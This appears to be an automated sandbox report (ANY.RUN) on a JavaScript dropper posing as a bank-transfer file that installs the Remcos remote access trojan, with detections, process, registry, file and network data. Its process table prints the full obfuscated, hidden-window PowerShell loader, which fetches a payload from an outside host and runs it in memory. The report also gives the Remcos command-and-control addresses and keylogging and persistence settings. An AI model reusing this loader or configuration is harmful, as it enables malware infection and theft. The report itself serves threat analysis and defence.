| File name: | bonificoEsteroNCBI_09_05_2025_10_38_30_.JS |
| Full analysis: | https://app.any.run/tasks/a8d42665-f9c5-4eca-bb52-d15c6bfb380c |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | May 10, 2025, 03:09:24 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (308), with CRLF line terminators |
| MD5: | 15D7C8FDDBF123E7C2B68F9CB843DF85 |
| SHA1: | DD10B6B9CC13CFCE95B3C35F44C30BE297830F1F |
| SHA256: | 6406D2230E1D589F51F99B3286AE3B0445C2BCDC94E4E066882F02ED68EB5A71 |
| SSDEEP: | 768:osy3M5GTjIHnsy3M5GTjIHYsy3M5GTjIHnsy3M5GTjIHYsy3M5GTjIHnsy3M5GTp:W9kYSvbYGP |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 7728)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7728)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7728)
REMCOS mutex has been found
- MSBuild.exe (PID: 8024)
REMCOS has been detected
- MSBuild.exe (PID: 8024)
REMCOS has been detected (SURICATA)
- MSBuild.exe (PID: 8024)
REMCOS has been detected (YARA)
- MSBuild.exe (PID: 8024)
SUSPICIOUS
Runs shell command (SCRIPT)
- wscript.exe (PID: 7524)
Executes script without checking the security policy
- powershell.exe (PID: 7728)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 7524)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 7524)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 7524)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 7524)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7728)
Reads security settings of Internet Explorer
- MSBuild.exe (PID: 8024)
There is functionality for taking screenshot (YARA)
- MSBuild.exe (PID: 8024)
Contacting a server suspected of hosting an CnC
- MSBuild.exe (PID: 8024)
Connects to unusual port
- MSBuild.exe (PID: 8024)
INFO
Disables trace logs
- powershell.exe (PID: 7728)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7728)
Checks proxy server information
- powershell.exe (PID: 7728)
- MSBuild.exe (PID: 8024)
- slui.exe (PID: 7296)
Reads the computer name
- MSBuild.exe (PID: 8024)
Checks supported languages
- MSBuild.exe (PID: 8024)
Reads the machine GUID from the registry
- MSBuild.exe (PID: 8024)
Creates files or folders in the user directory
- MSBuild.exe (PID: 8024)
Reads the software policy settings
- slui.exe (PID: 7296)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Remcos
(PID) Process(8024) MSBuild.exe
C2 (3)20.121.52.1:5707
20.121.52.1:5708
20.121.52.1:5709
BotnetBigFatCrypt
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Install_HKLM\RunTrue
Install_HKLM\Explorer\Run1
Install_HKLM\Winlogon\Shell0
Setup_path%LOCALAPPDATA%
Copy_fileremcos.exe
Startup_valueTrue
Hide_fileFalse
Mutex_namesyserms-HERNG3
Keylog_flag1
Keylog_path%USERPROFILE%
Keylog_filecart.dat
Keylog_cryptFalse
Hide_keylogTrue
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileFalse
Audio_record_time5
Audio_path1
Audio_dirMicRecords
Connect_delay0
Copy_dirRemcos
Total processes
134
Monitored processes
5
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 7296 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7524 | "C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\bonificoEsteroNCBI_09_05_2025_10_38_30_.JS | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7728 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fructificative = 'JGdhbmdidXN0ZXJzID0gJ3R4dC55b2NjbWxscHUvbW9jLnVyLmVyaXBzaGNldC8vOnNwdHRoJzskcGljbGUgPSAnaHR0cHM6Ly9vbmZpbHRyZS5jb20udHIvd3AtY29udGVudC93ZXguZ2lmJzskbWljcm9saXRocyA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JG1pY3JvbGl0aHMuSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOyR0aXB1bGEgPSAkbWljcm9saXRocy5Eb3dubG9hZERhdGEoJHBpY2xlKTskYXJjaGVvbG9naXN0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHRpcHVsYSk7JGN5YmVyc3BlZWNoID0gJzw8c3Vkb19wbmc+Pic7JGRpYW5kZXIgPSAnPDxzdWRvX29kdD4+JzskYmFuaWUgPSAkYXJjaGVvbG9naXN0LkluZGV4T2YoJGN5YmVyc3BlZWNoKTskc2Nvcm5mdWwgPSAkYXJjaGVvbG9naXN0LkluZGV4T2YoJGRpYW5kZXIpOyRiYW5pZSAtZ2UgMCAtYW5kICRzY29ybmZ1bCAtZ3QgJGJhbmllOyRiYW5pZSArPSAkY3liZXJzcGVlY2guTGVuZ3RoOyRjcnVtbWllciA9ICRzY29ybmZ1bCAtICRiYW5pZTskbWlsbGlsaXRyZXMgPSAkYXJjaGVvbG9naXN0LlN1YnN0cmluZygkYmFuaWUsICRjcnVtbWllcik7JGF5b25kID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWlsbGlsaXRyZXMpOyRzYXdob3JzZSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGF5b25kKTskTGF2ZXJuYSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpLkludm9rZSgkbnVsbCwgW29iamVjdFtdXSBAKCRnYW5nYnVzdGVycywnJywnJywnJywnTVNCdWlsZCcsJycsJycsJycsJycsJ0M6XFVzZXJzXFB1YmxpYycsJ2FkZHJlc3MnLCdqcycsJycsJycsJ2Rpc3BsYXlhYmxlJywnMicsJycpKQ==' -replace '','';$deedless = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($fructificative));Invoke-Expression $deedless;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7736 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 8024 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
Remcos(PID) Process(8024) MSBuild.exe C2 (3)20.121.52.1:5707 20.121.52.1:5708 20.121.52.1:5709 BotnetBigFatCrypt Options Connect_interval1 Install_flagFalse Install_HKCU\RunTrue Install_HKLM\RunTrue Install_HKLM\Explorer\Run1 Install_HKLM\Winlogon\Shell0 Setup_path%LOCALAPPDATA% Copy_fileremcos.exe Startup_valueTrue Hide_fileFalse Mutex_namesyserms-HERNG3 Keylog_flag1 Keylog_path%USERPROFILE% Keylog_filecart.dat Keylog_cryptFalse Hide_keylogTrue Screenshot_flagFalse Screenshot_time5 Take_ScreenshotFalse Screenshot_path%APPDATA% Screenshot_fileScreenshots Screenshot_cryptFalse Mouse_optionFalse Delete_fileFalse Audio_record_time5 Audio_path1 Audio_dirMicRecords Connect_delay0 Copy_dirRemcos | |||||||||||||||
Total events
6 476
Read events
6 468
Write events
8
Delete events
0
Modification events
| (PID) Process: | (7524) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 02CB100000000000 | |||
| (PID) Process: | (8024) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\syserms-HERNG3 |
| Operation: | write | Name: | exepath |
Value: 90909EC5C872425860AE6173B37AF49878A13372436BF49A6D715AB9DD4544F449CEA4052E2B5D7170050A9F8A5C7CA08EE26DD3815D008DEE32C83AED769F8221F1459CA1E22F2A596D3E951B8CC9A46E6E1F46E3A1B86B6C0AAF3F58A0B8F2345E58BAA738070CADA7490C9603DC21618B8308 | |||
| (PID) Process: | (8024) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\syserms-HERNG3 |
| Operation: | write | Name: | licence |
Value: C2D653C36F1BADE214CDB7B073773DDB | |||
| (PID) Process: | (8024) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\syserms-HERNG3 |
| Operation: | write | Name: | time |
Value: | |||
| (PID) Process: | (8024) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\syserms-HERNG3 |
| Operation: | write | Name: | UID |
Value: | |||
| (PID) Process: | (8024) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (8024) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (8024) MSBuild.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
Executable files
0
Suspicious files
3
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7728 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4l1ois5r.3nt.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8024 | MSBuild.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\json[1].json | binary | |
MD5:67CFE85359C7E69E92A92048B2648B70 | SHA256:3F1DDCB61CD3BCDFE29B3759A9CC29391DF6918726DB6EB87EC4A5E067847E5F | |||
| 7728 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:91888014A17F2D249B1129E10D6D5B9B | SHA256:8F61E04150EE1548048879C0D6D476A1FDCA4AECA804A427D29CC26FF540EDED | |||
| 8024 | MSBuild.exe | C:\Users\admin\cart.dat | binary | |
MD5:B887E633F3D532DD7FC21A27420CD547 | SHA256:D710272ACD6F1A311CB5FAE44238ED6AD17DC3B167284B95FBEB6AFEFE855118 | |||
| 7728 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tldn1umg.1oh.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
26
DNS requests
17
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
4932 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
4932 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
8024 | MSBuild.exe | GET | 200 | 178.237.33.50:80 | http://geoplugin.net/json.gp | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.216.77.23:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 23.216.77.23:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
2104 | svchost.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 20.190.160.128:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
onfiltre.com.tr |
| unknown |
techspire.ru.com |
| unknown |
geoplugin.net |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash |
— | — | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |